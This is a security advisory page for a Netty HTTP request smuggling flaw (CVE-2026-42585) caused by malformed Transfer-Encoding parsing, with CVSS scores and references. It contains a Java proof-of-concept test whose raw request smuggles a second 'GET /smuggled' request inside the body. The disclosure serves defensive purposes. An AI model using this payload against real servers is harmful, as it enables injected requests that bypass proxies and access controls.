Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-38f8-5428-x5cv
Advisory ID github_osv/GHSA-38f8-5428-x5cv
Aliases CVE-2026-42585
Summary Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding ### Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. ### Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length " If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. " A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty. ### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body. ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); } ``` ### Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Status Published
Exploitability 0.5
Weighted Severity 5.9
Risk 3.0
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
System Score Found at
cvssv3.1 6.5 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-38f8-5428-x5cv/GHSA-38f8-5428-x5cv.json
generic_textual MODERATE
Reference id Reference type URL
https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
https://github.com/netty/netty
CVE-2026-42585 https://nvd.nist.gov/vuln/detail/CVE-2026-42585
GHSA-38f8-5428-x5cv Other https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-38f8-5428-x5cv/GHSA-38f8-5428-x5cv.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

There are no SSVC decisions available.